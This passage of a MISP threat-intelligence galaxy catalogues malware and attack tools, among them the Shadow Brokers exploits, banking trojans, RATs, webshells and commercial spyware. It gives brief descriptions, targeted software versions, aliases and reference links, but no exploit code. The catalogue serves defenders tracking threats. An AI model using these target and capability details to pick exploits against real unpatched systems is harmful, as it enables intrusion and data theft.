Hacking Team's "DaVinci" Remote Control System is able, the company says, to break encryption and allow law enforcement agencies to monitor encrypted files and emails (even ones encrypted with PGP), Skype and other Voice over IP or chat communication. It allows identification of the target's location and relationships. It can also remotely activate microphones and cameras on a computer and works worldwide. Hacking Team claims that its software is able to monitor hundreds of thousands of computers at once, all over the country. Trojans are available for Windows, Mac, Linux, iOS, Android, Symbian and Blackberry.

The tag is: *misp-galaxy:tool="da Vinci RCS"*

da Vinci RCS is also known as:

- DaVinci
- Morcut

Table 24499. Table References

Links
http://surveillance.rsf.org/en/hacking-team/
https://wikileaks.org/hackingteam/emails/fileid/581640/267803
https://wikileaks.org/hackingteam/emails/emailid/31436

LATENTBOT

LATENTBOT, a new, highly obfuscated BOT that has been in the wild since mid-2013. It has managed to leave hardly any traces on the Internet, is capable of watching its victims without ever being noticed, and can even corrupt a hard disk, thus making a PC useless.

The tag is: *misp-galaxy:tool="LATENTBOT"*

View relationships graph

LATENTBOT has relationships with:

- similar: misp-galaxy:malpedia="LatentBot" with estimative-language:likelihood-probability="almost-certain"

Table 24500. Table References

Links
https://www.fireeye.com/blog/threat-research/2015/12/latentbot_trace_me.html
https://www.fireeye.com/blog/threat-research/2017/04/cve-2017-0199_useda.html

FINSPY

Though we have not identified the targets, FINSPY is sold by Gamma Group to multiple nation-state clients, and we assess with moderate confidence that it was being used along with the zero-day to carry out cyber espionage.

The tag is: *misp-galaxy:tool="FINSPY"*

FINSPY is also known as:

- BlackOasis

View relationships graph

FINSPY has relationships with:

- similar: misp-galaxy:rat="FINSPY" with estimative-language:likelihood-probability="likely"

Table 24501. Table References

Links
https://www.fireeye.com/blog/threat-research/2017/04/cve-2017-0199_useda.html

RCS Galileo

HackingTeam Remote Control System (RCS) Galileo hacking platform

The tag is: *misp-galaxy:tool="RCS Galileo"*

Table 24502. Table References

Links
https://www.f-secure.com/documents/996508/1030745/callisto-group

EARLYSHOVEL

RedHat 7.0 - 7.1 Sendmail 8.11.x exploit

The tag is: *misp-galaxy:tool="EARLYSHOVEL"*

Table 24503. Table References

Links
https://github.com/misterch0c/shadowbroker

EBBISLAND (EBBSHAVE)

root RCE via RPC XDR overflow in Solaris 6, 7, 8, 9 & 10 (possibly newer) both SPARC and x86

The tag is: *misp-galaxy:tool="EBBISLAND (EBBSHAVE)"*

Table 24504. Table References

Links
https://github.com/misterch0c/shadowbroker

ECHOWRECKER

remote Samba 3.0.x Linux exploit

The tag is: *misp-galaxy:tool="ECHOWRECKER"*

Table 24505. Table References

Links
https://github.com/misterch0c/shadowbroker

EASYBEE

appears to be an MDaemon email server vulnerability

The tag is: *misp-galaxy:tool="EASYBEE"*

Table 24506. Table References

Links
https://github.com/misterch0c/shadowbroker

EASYPI

an IBM Lotus Notes exploit that gets detected as Stuxnet

The tag is: *misp-galaxy:tool="EASYPI"*

Table 24507. Table References

Links
https://github.com/misterch0c/shadowbroker

EWOKFRENZY

an exploit for IBM Lotus Domino 6.5.4 & 7.0.2

The tag is: *misp-galaxy:tool="EWOKFRENZY"*

Table 24508. Table References

Links
https://github.com/misterch0c/shadowbroker

EXPLODINGCAN

an IIS 6.0 exploit that creates a remote backdoor

The tag is: *misp-galaxy:tool="EXPLODINGCAN"*

Table 24509. Table References

Links
https://github.com/misterch0c/shadowbroker

ETERNALROMANCE

a SMB1 exploit over TCP port 445 which targets XP, 2003, Vista, 7, Windows 8, 2008, 2008 R2, and gives SYSTEM privileges (MS17-010)

The tag is: *misp-galaxy:tool="ETERNALROMANCE"*

Table 24510. Table References

Links
https://github.com/misterch0c/shadowbroker

EDUCATEDSCHOLAR

a SMB exploit (MS09-050)

The tag is: *misp-galaxy:tool="EDUCATEDSCHOLAR"*

Table 24511. Table References

Links
https://github.com/misterch0c/shadowbroker

EMERALDTHREAD

a SMB exploit for Windows XP and Server 2003 (MS10-061)

The tag is: *misp-galaxy:tool="EMERALDTHREAD"*

Table 24512. Table References

Links
https://github.com/misterch0c/shadowbroker

EMPHASISMINE

a remote IMAP exploit for IBM Lotus Domino 6.6.4 to 8.5.2

The tag is: *misp-galaxy:tool="EMPHASISMINE"*

Table 24513. Table References

Links
https://github.com/misterch0c/shadowbroker

ENGLISHMANSDENTIST

Outlook Exchange WebAccess rules to trigger executable code on the client's side to send an email to other users

The tag is: *misp-galaxy:tool="ENGLISHMANSDENTIST"*

Table 24514. Table References

Links
https://github.com/misterch0c/shadowbroker

EPICHERO

0-day exploit (RCE) for Avaya Call Server

The tag is: *misp-galaxy:tool="EPICHERO"*

Table 24515. Table References

Links
https://github.com/misterch0c/shadowbroker

ERRATICGOPHER

SMBv1 exploit targeting Windows XP and Server 2003

The tag is: *misp-galaxy:tool="ERRATICGOPHER"*

Table 24516. Table References

Links
https://github.com/misterch0c/shadowbroker

ETERNALSYNERGY

a SMBv3 remote code execution flaw for Windows 8 and Server 2012 SP0 (MS17-010)

The tag is: *misp-galaxy:tool="ETERNALSYNERGY"*

Table 24517. Table References

Links
https://github.com/misterch0c/shadowbroker

ETERNALBLUE

SMBv2 exploit for Windows 7 SP1 (MS17-010)

The tag is: *misp-galaxy:tool="ETERNALBLUE"*

Table 24518. Table References

Links
https://github.com/misterch0c/shadowbroker

ETERNALCHAMPION

a SMBv1 exploit

The tag is: *misp-galaxy:tool="ETERNALCHAMPION"*

Table 24519. Table References

Links
https://github.com/misterch0c/shadowbroker

ESKIMOROLL

Kerberos exploit targeting 2000, 2003, 2008 and 2008 R2 domain controllers

The tag is: *misp-galaxy:tool="ESKIMOROLL"*

Table 24520. Table References

Links
https://github.com/misterch0c/shadowbroker

ESTEEMAUDIT

RDP exploit and backdoor for Windows Server 2003

The tag is: *misp-galaxy:tool="ESTEEMAUDIT"*

Table 24521. Table References

Links
https://github.com/misterch0c/shadowbroker

ECLIPSEDWING

RCE exploit for the Server service in Windows Server 2008 and later (MS08-067)

The tag is: *misp-galaxy:tool="ECLIPSEDWING"*

Table 24522. Table References

Links
https://github.com/misterch0c/shadowbroker

ETRE

exploit for IMail 8.10 to 8.22

The tag is: *misp-galaxy:tool="ETRE"*

Table 24523. Table References

Links
https://github.com/misterch0c/shadowbroker

FUZZBUNCH

an exploit framework, similar to MetaSploit

The tag is: *misp-galaxy:tool="FUZZBUNCH"*

Table 24524. Table References

Links
https://securelist.com/darkpulsar/88199/
https://github.com/misterch0c/shadowbroker

ODDJOB

implant builder and C&C server that can deliver exploits for Windows 2000 and later, also not detected by any AV vendors

The tag is: *misp-galaxy:tool="ODDJOB"*

View relationships graph

ODDJOB has relationships with:

- similar: misp-galaxy:malpedia="OddJob" with estimative-language:likelihood-probability="almost-certain"

Table 24525. Table References

Links
https://github.com/misterch0c/shadowbroker

PASSFREELY

utility which Bypasses authentication for Oracle servers

The tag is: *misp-galaxy:tool="PASSFREELY"*

Table 24526. Table References

Links
https://github.com/misterch0c/shadowbroker

SMBTOUCH

check if the target is vulnerable to samba exploits like ETERNALSYNERGY, ETERNALBLUE, ETERNALROMANCE

The tag is: *misp-galaxy:tool="SMBTOUCH"*

Table 24527. Table References

Links
https://github.com/misterch0c/shadowbroker

ERRATICGOPHERTOUCH

Check if the target is running some RPC

The tag is: *misp-galaxy:tool="ERRATICGOPHERTOUCH"*

Table 24528. Table References

Links
https://github.com/misterch0c/shadowbroker

IISTOUCH

check if the running IIS version is vulnerable

The tag is: *misp-galaxy:tool="IISTOUCH"*

Table 24529. Table References

Links
https://github.com/misterch0c/shadowbroker

RPCOUTCH

get info about windows via RPC

The tag is: *misp-galaxy:tool="RPCOUTCH"*

Table 24530. Table References

Links
https://github.com/misterch0c/shadowbroker

DOPU

used to connect to machines exploited by ETERNALCHAMPIONS

The tag is: *misp-galaxy:tool="DOPU"*

Table 24531. Table References

Links
https://github.com/misterch0c/shadowbroker

FlexSpy

covert surveillance tools

The tag is: *misp-galaxy:tool="FlexSpy"*

feodo

Unfortunately, it is time to meet 'Feodo'. Since august of this year when FireEye's MPS devices detected this malware in the field, we have been monitoring this banking trojan very closely. In many ways, this malware looks similar to other famous banking trojans like Zbot and SpyEye. Although my analysis says that this malware is not a toolkit and is in the hands of a single criminal group.

The tag is: *misp-galaxy:tool="feodo"*

View relationships graph

feodo has relationships with:

- similar: misp-galaxy:malpedia="Feodo" with estimative-language:likelihood-probability="almost-certain"

Table 24532. Table References

Links
https://www.fireeye.com/blog/threat-research/2010/10/feodosoff-a-new-botnet-on-the-rise.html

Cardinal RAT

Palo Alto Networks has discovered a previously unknown remote access Trojan (RAT) that has been active for over two years. It has a very low volume in this two-year period, totaling roughly 27 total samples. The malware is delivered via an innovative and unique technique: a downloader we are calling Carp uses malicious macros in Microsoft Excel documents to compile embedded C# (C Sharp) Programming Language source code into an executable that in turn is run to deploy the Cardinal RAT malware family. These malicious Excel files use a number of different lures, providing evidence of what attackers are using to entice victims into executing them.

The tag is: *misp-galaxy:tool="Cardinal RAT"*

View relationships graph

Cardinal RAT has relationships with:

- similar: misp-galaxy:tool="EVILNUM" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Cardinal RAT" with estimative-language:likelihood-probability="almost-certain"

Table 24533. Table References

Links
http://researchcenter.paloaltonetworks.com/2017/04/unit42-cardinal-rat-active-two-years/

REDLEAVES

The REDLEAVES implant consists of three parts: an executable, a loader, and the implant shellcode. The REDLEAVES implant is a remote administration Trojan (RAT) that is built in Visual C++ and makes heavy use of thread generation during its execution. The implant contains a number of functions typical of RATs, including system enumeration and creating a remote shell back to the C2.

The tag is: *misp-galaxy:tool="REDLEAVES"*

View relationships graph

REDLEAVES has relationships with:

- similar: misp-galaxy:malpedia="RedLeaves" with estimative-language:likelihood-probability="almost-certain"

Table 24534. Table References

Links
https://www.us-cert.gov/ncas/alerts/TA17-117A

Kazuar

Kazuar is a fully featured backdoor written using the .NET Framework and obfuscated using the open source packer called ConfuserEx. Unit 42 researchers have uncovered a backdoor Trojan used in an espionage campaign. The developers refer to this tool by the name Kazuar, which is a Trojan written using the Microsoft .NET Framework that offers actors complete access to compromised systems targeted by its operator. Kazuar includes a highly functional command set, which includes the ability to remotely load additional plugins to increase the Trojan's capabilities. During our analysis of this malware we uncovered interesting code paths and other artifacts that may indicate a Mac or Unix variant of this same tool also exists. Also, we discovered a unique feature within Kazuar: it exposes its capabilities through an Application Programming Interface (API) to a built-in webserver. We suspect the Kazuar tool may be linked to the Turla threat actor group (also known as Uroburos and Snake), who have been reported to have compromised embassies, defense contractors, educational institutions, and research organizations across the globe. A hallmark of Turla operations is iterations of their tools and code lineage in Kazuar can be traced back to at least 2005. If the hypothesis is correct and the Turla threat group is using Kazuar, we believe they may be using it as a replacement for Carbon and its derivatives. Of the myriad of tools observed in use by Turla Carbon and its variants were typically deployed as a second stage backdoor within targeted environments and we believe Kazuar may now hold a similar role for Turla operations.

The tag is: *misp-galaxy:tool="Kazuar"*

View relationships graph

Kazuar has relationships with:

- similar: misp-galaxy:malpedia="Kazuar" with estimative-language:likelihood-probability="likely"

Table 24535. Table References

Links
http://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/

Trick Bot

Many links indicate, that this bot is another product of the people previously involved in Dyreza. It seems to be rewritten from scratch – however, it contains many similar features and solutions to those we encountered analyzing Dyreza (read more).

The tag is: *misp-galaxy:tool="Trick Bot"*

Trick Bot is also known as:

- TrickBot
- TrickLoader

View relationships graph

Trick Bot has relationships with:

- similar: misp-galaxy:malpedia="TrickBot" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:banker="Trickbot" with estimative-language:likelihood-probability="likely"

Table 24536. Table References

Links
https://blog.malwarebytes.com/threat-analysis/2016/10/trick-bot-dyrezas-successor/
https://blog.fraudwatchinternational.com/malware/trickbot-malware-works
https://securityintelligence.com/trickbot-is-hand-picking-private-banks-for-targets-with-redirection-attacks-in-tow/
https://www.bleepingcomputer.com/news/security/trickbot-banking-trojan-gets-screenlocker-component/

Hackshit

Netskope Threat Research Labs recently discovered a Phishing-as-a-Service (PhaaS) platform named Hackshit, that records the credentials of the phished bait victims. The phished bait pages are packaged with base64 encoding and served from secure (HTTPS) websites with ".moe" top level domain (TLD) to evade traditional scanners. ".moe" TLD is intended for the purpose of 'The marketing of products or services deemed'. The victim's credentials are sent to the Hackshit PhaaS platform via websockets. The Netskope Active Platform can proactively protect customers by creating custom applications and a policy to block all the activities related to Hackshit PhaaS.

The tag is: *misp-galaxy:tool="Hackshit"*

Table 24537. Table References

Links
https://resources.netskope.com/h/i/352356475-phishing-as-a-service-phishing-revamped

Moneygram Adwind

The tag is: *misp-galaxy:tool="Moneygram Adwind"*

Table 24538. Table References

Links
https://myonlinesecurity.co.uk/new-guidelines-from-moneygram-malspam-delivers-a-brand-new-java-adwind-version/

Banload

```
Banload has been around since the last decade. This malware generally arrives on a
victim's system through a spam email containing an archived file or bundled software
as an attachment. In a few cases, this malware may also be dropped by other malware or
a drive-by download. When executed, Banload downloads other malware, often banking
Trojans, on the victim's system to carry out further infections.
```

The tag is: *misp-galaxy:tool="Banload"*

View relationships graph

Banload has relationships with:

- similar: misp-galaxy:malpedia="Banload" with estimative-language:likelihood-probability="almost-certain"

Table 24539. Table References

Links
https://researchcenter.paloaltonetworks.com/2016/03/banload-malware-affecting-brazil-exhibits-unusually-complex-infection-process/
https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/banload
http://blog.trendmicro.com/trendlabs-security-intelligence/banload-limits-targets-via-security-plugin/
https://securingtomorrow.mcafee.com/mcafee-labs/banload-trojan-targets-brazilians-with-malware-downloads/

Smoke Loader

This small application is used to download other malware. What makes the bot interesting are various tricks that it uses for deception and self protection.

The tag is: *misp-galaxy:tool="Smoke Loader"*

Smoke Loader is also known as:

- SmokeLoader

View relationships graph

Smoke Loader has relationships with:

- similar: misp-galaxy:mitre-malware="Smoke Loader - S0226" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="SmokeLoader" with estimative-language:likelihood-probability="likely"

Table 24540. Table References

Links
https://blog.malwarebytes.com/threat-analysis/2016/08/smoke-loader-downloader-with-a-smokescreen-still-alive/

LockPoS

The analyzed sample has a recent compilation date (2017-06-24) and is available on VirusTotal. It starts out by resolving several Windows functions using API hashing (CRC32 is used as the hashing function).

The tag is: *misp-galaxy:tool="LockPoS"*

View relationships graph

LockPoS has relationships with:

- similar: misp-galaxy:malpedia="LockPOS" with estimative-language:likelihood-probability="almost-certain"

Table 24541. Table References

Links
https://www.arbornetworks.com/blog/asert/lockpos-joins-flock/

Fadok

Win.Worm.Fadok drops several files. %AppData%\RAC\mls.exe or %AppData%\RAC\svcsc.exe are instances of the malware which are auto-started when Windows starts. Further, the worm drops and opens a Word document. It connects to the domain wxanalytics[.]ru.

The tag is: *misp-galaxy:tool="Fadok"*

Fadok is also known as:

- Win32/Fadok

Table 24542. Table References

Links
https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Worm%3AWin32%2FFadok.A
http://blog.talosintelligence.com/2017/06/threat-roundup-0602-0609.html

Loki Bot

Loki Bot is a commodity malware sold on underground sites which is designed to steal private data from infected machines, and then submit that info to a command and control host via HTTP POST. This private data includes stored passwords, login credential information from Web browsers, and a variety of cryptocurrency wallets.

The tag is: *misp-galaxy:tool="Loki Bot"*

Table 24543. Table References

Links
https://phishme.com/loki-bot-malware/

KONNI

Talos has discovered an unknown Remote Administration Tool that we believe has been in use for over 3 years. During this time it has managed to avoid scrutiny by the security community. The current version of the malware allows the operator to steal files, keystrokes, perform screenshots, and execute arbitrary code on the infected host. Talos has named this malware KONNI. Throughout the multiple campaigns observed over the last 3 years, the actor has used an email attachment as the initial infection vector. They then use additional social engineering to prompt the target to open a .scr file, display a decoy document to the users, and finally execute the malware on the victim's machine. The malware infrastructure of the analysed samples was hosted by a free web hosting provider: 000webhost. The malware has evolved over time. In this article, we will analyse this evolution:

The tag is: *misp-galaxy:tool="KONNI"*

View relationships graph

KONNI has relationships with:

- similar: misp-galaxy:rat="Konni" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Konni (Windows)" with estimative-language:likelihood-probability="likely"

Table 24544. Table References

Links
http://blog.talosintelligence.com/2017/05/konni-malware-under-radar-for-years.html
https://www.bleepingcomputer.com/news/security/report-ties-north-korean-attacks-to-new-malware-linked-by-word-macros/

NOKKI

Beginning in early 2018, Unit 42 observed a series of attacks using a previously unreported malware family, which we have named 'NOKKI'. The malware in question has ties to a previously

reported malware family named KONNI, however, after careful consideration, we believe enough differences are present to introduce a different malware family name. To reflect the close relationship with KONNI, we chose NOKKI, swapping KONNI's Ns and Ks. Because of code overlap found within both malware families, as well as infrastructure overlap, we believe the threat actors responsible for KONNI are very likely also responsible for NOKKI. Previous reports stated it was likely KONNI had been in use for over three years in multiple campaigns with a heavy interest in the Korean peninsula and surrounding areas. As of this writing, it is not certain if the KONNI or NOKKI operators are related to known adversary groups operating in the regions of interest, although there is evidence of a tenuous relationship with a group known as Reaper.

The tag is: *misp-galaxy:tool="NOKKI"*

View relationships graph

NOKKI has relationships with:

- similar: misp-galaxy:malpedia="Nokki" with estimative-language:likelihood-probability="almost-certain"

Table 24545. Table References

Links
https://researchcenter.paloaltonetworks.com/2018/09/unit42-new-konni-malware-attacking-eurasia-southeast-asia/
https://www.bleepingcomputer.com/news/security/report-ties-north-korean-attacks-to-new-malware-linked-by-word-macros/

SpyDealer

Recently, Palo Alto Networks researchers discovered an advanced Android malware we've named "SpyDealer" which exfiltrates private data from more than 40 apps and steals sensitive messages from communication apps by abusing the Android accessibility service feature. SpyDealer uses exploits from a commercial rooting app to gain root privilege, which enables the subsequent data theft.

The tag is: *misp-galaxy:tool="SpyDealer"*

Table 24546. Table References

Links
https://researchcenter.paloaltonetworks.com/2017/07/unit42-spydealer-android-trojan-spying-40-apps/

CowerSnail

CowerSnail was compiled using Qt and linked with various libraries. This framework provides benefits such as cross-platform capability and transferability of the source code between different operating systems.

The tag is: *misp-galaxy:tool="CowerSnail"*

Table 24547. Table References

Links
https://securelist.com/cowersnail-from-the-creators-of-sambacry/79087/

Svpeng

In mid-July 2017, we found a new modification of the well-known mobile banking malware family Svpeng – Trojan-Banker.AndroidOS.Svpeng.ae. In this modification, the cybercriminals have added new functionality: it now also works as a keylogger, stealing entered text through the use of accessibility services.

The tag is: *misp-galaxy:tool="Svpeng"*

Svpeng is also known as:

- trojan-banker.androidos.svpeng.ae

View relationships graph

Svpeng has relationships with:

- similar: misp-galaxy:android="Svpeng" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Svpeng" with estimative-language:likelihood-probability="likely"

Table 24548. Table References

Links
https://securelist.com/a-new-era-in-mobile-banking-trojans/79198/

TwoFace

While investigating a recent security incident, Unit 42 found a webshell that we believe was used by the threat actor to remotely access the network of a targeted Middle Eastern organization. The construction of the webshell was interesting by itself, as it was actually two separate webshells: an initial webshell that was responsible for saving and loading the second fully functional webshell. It is this second webshell that enabled the threat actor to run a variety of commands on the compromised server. Due to these two layers, we use the name TwoFace to track this webshell. During our analysis, we extracted the commands executed by the TwoFace webshell from the server logs on the compromised server. Our analysis shows that the commands issued by the threat actor date back to June 2016; this suggests that the actor had access to this shell for almost an entire year. The commands issued show the actor was interested in gathering credentials from the compromised server using the Mimikatz tool. We also saw the attacker using the TwoFace webshell to move laterally through the network by copying itself and other webshells to other servers.

The tag is: *misp-galaxy:tool="TwoFace"*

View relationships graph

TwoFace has relationships with:

- similar: misp-galaxy:malpedia="TwoFace" with estimative-language:likelihood-probability="almost-certain"

Table 24549. Table References

Links
https://researchcenter.paloaltonetworks.com/2017/07/unit42-twoface-webshell-persistent-access-point-lateral-movement/

IntrudingDivisor

Like TwoFace, the IntrudingDivisor webshell requires the threat actor to authenticate before issuing commands. To authenticate, the actor must provide two pieces of information, first an integer that is divisible by 5473 and a string whose MD5 hash is “9A26A0E7B88940DAA84FC4D5E6C61AD0”. Upon successful authentication, the webshell has a command handler that uses integers within the request to determine the command to execute - To complete

The tag is: *misp-galaxy:tool="IntrudingDivisor"*

Table 24550. Table References

Links
https://researchcenter.paloaltonetworks.com/2017/07/unit42-twoface-webshell-persistent-access-point-lateral-movement/

JS_POWMET

Attacks that use completely fileless malware are a rare occurrence, so we thought it important to discuss a new trojan known as JS_POWMET (Detected by Trend Micro as JS_POWMET.DE), which arrives via an autostart registry procedure. By utilizing a completely fileless infection chain, the malware will be more difficult to analyze using a sandbox, making it more difficult for anti-malware engineers to examine.

The tag is: *misp-galaxy:tool="JS_POWMET"*

Table 24551. Table References

Links
http://blog.trendmicro.com/trendlabs-security-intelligence/look-js_powmet-completely-fileless-malware/

EngineBox Malware

The main malware capabilities include a privilege escalation attempt using MS16–032 exploitation; a HTTP Proxy to intercept banking transactions; a backdoor to make it possible for the attacker to issue arbitrary remote commands and a C&C through a IRC channel. As it's being identified as a Generic Trojan by most of VirusTotal (VT) engines, let s name it EngineBox— the core malware class I saw after reverse engineering it.

The tag is: *misp-galaxy:tool="EngineBox Malware"*

Table 24552. Table References

Links
https://isc.sans.edu/diary/22736

Joao

Spread via hacked Aeria games offered on unofficial websites, the modular malware can download and install virtually any other malicious code on the victim's computer. To spread their malware, the attackers behind Joao have misused massively-multiplayer online role-playing games (MMORPGs) originally published by Aeria Games. At the time of writing this article, the Joao downloader was being distributed via the anime-themed MMORPG Grand Fantasia offered on gf.ignitgames[.]to.

The tag is: *misp-galaxy:tool="Joao"*

View relationships graph

Joao has relationships with:

- similar: misp-galaxy:malpedia="Joao" with estimative-language:likelihood-probability="likely"

Table 24553. Table References

Links
https://www.welivesecurity.com/2017/08/22/gamescom-2017-fun-blackhats/

Fireball

Upon execution, Fireball installs a browser hijacker as well as any number of adware programs. Several different sources have linked different indicators of compromise (IOCs) and varied payloads, but a few details remain the same.

The tag is: *misp-galaxy:tool="Fireball"*

View relationships graph

Fireball has relationships with:

- similar: misp-galaxy:malpedia="Fireball" with estimative-language:likelihood-probability="likely"

Table 24554. Table References

Links
https://www.cylance.com/en_us/blog/threat-spotlight-is-fireball-adware-or-malware.html

ShadowPad

ShadowPad is a modular cyber-attack platform that attackers deploy in victim networks to gain flexible remote control capabilities. The platform is designed to run in two stages. The first stage is a shellcode that was embedded in a legitimate nssock2.dll used by Xshell, Xmanager and other software packages produced by NetSarang. This stage is responsible for connecting to “validation” command and control (C&C) servers and getting configuration information including the location of the real C&C server, which may be unique per victim. The second stage acts as an orchestrator for five main modules responsible for C&C communication, working with the DNS protocol, loading and injecting additional plugins into the memory of other processes.

The tag is: *misp-galaxy:tool="ShadowPad"*

ShadowPad is also known as:

- POISONPLUG
- Barlaiy

View relationships graph

ShadowPad has relationships with:

- similar: misp-galaxy:malpedia="ShadowPad" with estimative-language:likelihood-probability="likely"
- used-by: misp-galaxy:threat-actor="Earth Lusca" with estimative-language:likelihood-probability="likely"

Table 24555. Table References

Links
https://cdn.securelist.com/files/2017/08/ShadowPad_technical_description_PDF.pdf

IoT_reaper

IoT_reaper is fairly large now and is actively expanding. For example, there are multiple C2s we are tracking, the most recently data (October 19) from just one C2 shows the number of unique active bot IP address is more than 10k per day. While at the same time, there are millions of potential vulnerable device IPs being queued into the c2 system waiting to be processed by an automatic loader that injects malicious code to the devices to expand the size of the botnet.

The tag is: *misp-galaxy:tool="IoT_reaper"*

Table 24556. Table References

Links
http://blog.netlab.360.com/iot_reaper-a-rappid-spreading-new-iot-botnet-en/

Dimnie

Dimnie, the commonly agreed upon name for the binary dropped by the PowerShell script above, has been around for several years. Palo Alto Networks has observed samples dating back to early 2014 with identical command and control mechanisms. The malware family serves as a downloader and has a modular design encompassing various information stealing functionalities. Each module is injected into the memory of core Windows processes, further complicating analysis. During its lifespan, it appears to have undergone few changes and its stealthy command and control methods combined with a previously Russian focused target base has allowed it to fly under the radar up until this most recent campaign.

The tag is: *misp-galaxy:tool="Dimnie"*

View relationships graph

Dimnie has relationships with:

- similar: misp-galaxy:malpedia="Dimnie" with estimative-language:likelihood-probability="likely"

Table 24557. Table References

Links
https://researchcenter.paloaltonetworks.com/2017/03/unit42-dimnie-hiding-plain-sight/

ALMA Communicator

The ALMA Communicator Trojan is a backdoor Trojan that uses DNS tunneling exclusively to receive commands from the adversary and to exfiltrate data. This Trojan specifically reads in a configuration from the cfg file that was initially created by the Clayslide delivery document. ALMA does not have an internal configuration, so the Trojan does not function without the cfg file created by the delivery document.

The tag is: *misp-galaxy:tool="ALMA Communicator"*

View relationships graph

ALMA Communicator has relationships with:

- similar: misp-galaxy:malpedia="Alma Communicator" with estimative-language:likelihood-probability="almost-certain"

Table 24558. Table References

Links
https://researchcenter.paloaltonetworks.com/2017/11/unit42-oilrig-deploys-alma-communicator-dns-tunneling-trojan/

Silence

In September 2017, we discovered a new targeted attack on financial institutions. Victims are mostly Russian banks but we also found infected organizations in Malaysia and Armenia. The attackers were using a known but still very effective technique for cybercriminals looking to make money: gaining persistent access to an internal banking network for a long period of time, making video recordings of the day to day activity on bank employees' PCs, learning how things works in their target banks, what software is being used, and then using that knowledge to steal as much money as possible when ready. We saw that technique before in Carbanak, and other similar cases worldwide. The infection vector is a spear-phishing email with a malicious attachment. An interesting point in the Silence attack is that the cybercriminals had already compromised banking infrastructure in order to send their spear-phishing emails from the addresses of real bank employees and look as unsuspicious as possible to future victims.

The tag is: *misp-galaxy:tool="Silence"*

View relationships graph

Silence has relationships with:

- similar: misp-galaxy:malpedia="Silence" with estimative-language:likelihood-probability="likely"

Table 24559. Table References

Links
https://securelist.com/the-silence/83009/

Volgmer

Volgmer is a backdoor Trojan designed to provide covert access to a compromised system. Since at least 2013, HIDDEN COBRA actors have been observed using Volgmer malware in the wild to target the government, financial, automotive, and media industries. It is suspected that spear phishing is the primary delivery mechanism for Volgmer infections; however, HIDDEN COBRA actors use a suite of custom tools, some of which could also be used to initially compromise a system. Therefore, it is possible that additional HIDDEN COBRA malware may be present on network infrastructure compromised with Volgmer

The tag is: *misp-galaxy:tool="Volgmer"*

View relationships graph

Volgmer has relationships with:

- similar: misp-galaxy:mitre-malware="Volgmer - S0180" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:rat="FALLCHILL" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-malware="FALLCHILL - S0181" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Volgmer" with estimative-language:likelihood-probability="likely"

Table 24560. Table References

Links
https://www.us-cert.gov/ncas/alerts/TA17-318B

Nymaim

Nymaim is a 2-year-old strain of malware most closely associated with ransomware. We have seen recent attacks spreading it using an established email marketing service provider to avoid blacklists and detection tools. But instead of ransomware, the malware is now being used to distribute banking Trojans

The tag is: *misp-galaxy:tool="Nymaim"*

View relationships graph

Nymaim has relationships with:

- similar: misp-galaxy:malpedia="Nymaim" with estimative-language:likelihood-probability="likely"

Table 24561. Table References

Links
https://www.proofpoint.com/us/what-old-new-again-nymaim-moves-past-its-ransomware-roots-0

GootKit

As was the case earlier, the bot Gootkit is written in NodeJS, and is downloaded to a victim computer via a chain of downloaders. The main purpose of the bot also remained the same – to steal banking data. The new Gootkit version, detected in September, primarily targets clients of European banks, including those in Germany, France, Italy, the Netherlands, Poland, etc.

The tag is: *misp-galaxy:tool="GootKit"*

GootKit is also known as:

- Gootkit

View relationships graph

GootKit has relationships with:

- similar: misp-galaxy:malpedia="GootKit" with estimative-language:likelihood-probability="likely"

Table 24562. Table References

Links
https://securelist.com/inside-the-gootkit-cc-server/76433/
https://securityintelligence.com/gootkit-bobbing-and-weaving-to-avoid-prying-eyes/
https://securityintelligence.com/gootkit-launches-redirection-attacks-in-the-uk/
https://www.symantec.com/security_response/writeup.jsp?docid=2010-051118-0604-99

Agent Tesla

Agent Tesla is modern powerful keystroke logger. It provides monitoring your personel computer via keyboard and screenshot. Keyboard, screenshot and registered passwords are sent in log. You can receive your logs via e-mail, ftp or php(web panel).

The tag is: *misp-galaxy:tool="Agent Tesla"*

View relationships graph

Agent Tesla has relationships with:

- similar: misp-galaxy:malpedia="Agent Tesla" with estimative-language:likelihood-probability="likely"
- used-by: misp-galaxy:threat-actor="Hagga" with estimative-language:likelihood-probability="likely"

Table 24563. Table References

Links
https://www.agenttesla.com/
https://www.bleepingcomputer.com/news/security/zoho-heavily-used-by-keyloggers-to-transmit-stolen-data/

Ordinypt

A new ransomware strain called Ordinypt is currently targeting victims in Germany, but instead of encrypting users' documents, the ransomware rewrites files with random data. Ordinypt is actually a wiper and not ransomware because it does not bother encrypting anything, but just replaces files with random data.

The tag is: *misp-galaxy:tool="Ordinypt"*

Ordinypt is also known as:

- HSDFSDCrypt

View relationships graph

Ordinypt has relationships with:

- similar: misp-galaxy:malpedia="Ordinypt" with estimative-language:likelihood-probability="likely"

Table 24564. Table References

Links
https://www.bleepingcomputer.com/news/security/ordinypt-ransomware-intentionally-destroys-files-currently-targeting-germany/

StrongPity2

Detected by ESET as Win32/StrongPity2, this spyware notably resembles one that was attributed to the group called StrongPity.

The tag is: *misp-galaxy:tool="StrongPity2"*

StrongPity2 is also known as:

- Win32/StrongPity2

Table 24565. Table References

Links
https://www.welivesecurity.com/2017/12/08/strongpity-like-spyware-replaces-finfisher/

wp-vcd

WordPress site owners should be on the lookout for a malware strain tracked as wp-vcd that hides in legitimate WordPress files and that is used to add a secret admin user and grant attackers control over infected sites. The malware was first spotted online over the summer by Italian security researcher Manuel D'Orso. The initial version of this threat was loaded via an include call for the wp-vcd.php file —hence the malware's name— and injected malicious code into WordPress core files such as functions.php and class.wp.php. This was not a massive campaign, but attacks continued throughout the recent months.

The tag is: *misp-galaxy:tool="wp-vcd"*

Table 24566. Table References

Links
https://www.bleepingcomputer.com/news/security/wp-vcd-wordpress-malware-campaign-is-back/
